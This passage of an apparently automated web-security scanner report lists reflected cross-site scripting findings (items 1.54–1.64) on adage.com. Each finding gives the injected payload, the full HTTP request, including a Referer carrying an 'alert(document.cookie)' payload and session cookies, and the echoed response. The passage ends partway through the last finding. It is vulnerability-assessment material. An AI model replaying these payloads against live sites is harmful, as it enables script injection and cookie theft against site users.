The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 74bad"-alert(1)-"fb65ed0461b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom74bad"-alert(1)-"fb65ed0461b/menus/mediaworks.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:07 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=233DDB11612466ACC3CA4E76FB2CFD84D058A383; path=/
Set-Cookie: HMAC=34B2BB6E88F248DC724D27F92C8B38A2DA4A8427; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33849

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom74bad"-alert(1)-"fb65ed0461b/menus/mediaworks.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js
...[SNIP]...

1.54. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/mediaworks.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8d26"-alert(1)-"d8c66748071 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusc8d26"-alert(1)-"d8c66748071/mediaworks.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=114DB257AA974B796A65A3C58469224F5C1BB0D0; path=/
Set-Cookie: HMAC=DBFDA6704ACA8430EF96933D5618E4A1745A3A44; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33963

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusc8d26"-alert(1)-"d8c66748071/mediaworks.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx
...[SNIP]...

1.55. http://adage.com/images/bottom/menus/mediaworks.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/mediaworks.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83589"-alert(1)-"7ab41f4d636 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/mediaworks.png83589"-alert(1)-"7ab41f4d636?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:35 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=9425D3FB576951C7A304983F9BD945362CB9B88D; path=/
Set-Cookie: HMAC=9D4DFC0E249E7BDB0B373421671CC1612A59EE5F; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33963

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
ain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/mediaworks.png83589"-alert(1)-"7ab41f4d636"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.56. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/regulation_issue.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 85510"-alert(1)-"a367fa99fad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images85510"-alert(1)-"a367fa99fad/bottom/menus/regulation_issue.jpg?1299522090 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=EB8B7E0A51151EDEE363F898A44AE10FA1834924; path=/
Set-Cookie: HMAC=EF190E186B40BC0B79BAAA30508B1D92D2C5377F; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33855

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299522090";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images85510"-alert(1)-"a367fa99fad/bottom/menus/regulation_issue.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.d
...[SNIP]...

1.57. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/regulation_issue.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96098"-alert(1)-"b24ecee74e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom96098"-alert(1)-"b24ecee74e5/menus/regulation_issue.jpg?1299522090 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:15 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=BC936AF161D093847E51DF2FE92C0DB8D344976A; path=/
Set-Cookie: HMAC=82FA674C3194F8543557320C2146BD1F280E49EF; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33969

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299522090";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom96098"-alert(1)-"b24ecee74e5/menus/regulation_issue.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.c
...[SNIP]...

1.58. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/regulation_issue.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c37cd"-alert(1)-"3f48450b2fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusc37cd"-alert(1)-"3f48450b2fb/regulation_issue.jpg?1299522090 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:32 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=E2321673FFD92D35B096F4C440E0887EA681CA7C; path=/
Set-Cookie: HMAC=E670176836C989014D46B47FEF7EDA1CA46D9F54; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33969

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299522090";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusc37cd"-alert(1)-"3f48450b2fb/regulation_issue.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js
...[SNIP]...

1.59. http://adage.com/images/bottom/menus/regulation_issue.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/regulation_issue.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a03b2"-alert(1)-"5c0d106096 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/regulation_issue.jpga03b2"-alert(1)-"5c0d106096?1299522090 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:46 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=DBE404E5C57DB7475515BFC2F525F02D2E576307; path=/
Set-Cookie: HMAC=8E52F334A2801657FA8CB3D1CBBFF478C1361E8A; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33968

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
tbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299522090";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/regulation_issue.jpga03b2"-alert(1)-"5c0d106096"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.60. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/sxsw.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 551c5"-alert(1)-"69191a3631e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images551c5"-alert(1)-"69191a3631e/bottom/menus/sxsw.png?1300201030 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=0C7254096A75B1A2433ACA0788B96339FBC759B9; path=/
Set-Cookie: HMAC=25E5008123F421B160D0580E8292DCAB8FB720D3; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33843

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300201030";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images551c5"-alert(1)-"69191a3631e/bottom/menus/sxsw.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.j
...[SNIP]...

1.61. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/sxsw.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7880"-alert(1)-"30cc480689d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottomb7880"-alert(1)-"30cc480689d/menus/sxsw.png?1300201030 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:20 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=7098EE4295E7BC4F338BFED20BA659277CD04091; path=/
Set-Cookie: HMAC=18CEFC3C4ADCEF1FD0CB1BB0973CADF29584599B; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33957

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300201030";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottomb7880"-alert(1)-"30cc480689d/menus/sxsw.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx
...[SNIP]...

1.62. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/sxsw.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee47e"-alert(1)-"1a1df2fae20 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusee47e"-alert(1)-"1a1df2fae20/sxsw.png?1300201030 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:37 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=08E81E89C64AEEAF94F2804DA774910DFAD8C371; path=/
Set-Cookie: HMAC=F5F4681EC88EA1F73761C60FE6618C6B28D296A9; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33957

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300201030";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusee47e"-alert(1)-"1a1df2fae20/sxsw.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="
...[SNIP]...

1.63. http://adage.com/images/bottom/menus/sxsw.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/sxsw.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ed90"-alert(1)-"3cb39a8653b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/sxsw.png6ed90"-alert(1)-"3cb39a8653b?1300201030 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=D5BD7079E30D8A9F41D1770DF0A8B72D6010F1BD; path=/
Set-Cookie: HMAC=1353049579DA0B12A2D697B25FC452E43A535A49; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33957

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300201030";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/sxsw.png6ed90"-alert(1)-"3cb39a8653b"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.64. http://adage.com/images/covers/current_thumb.jpg [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/covers/current_thumb.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5c92"-alert(1)-"cb2c71b711b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

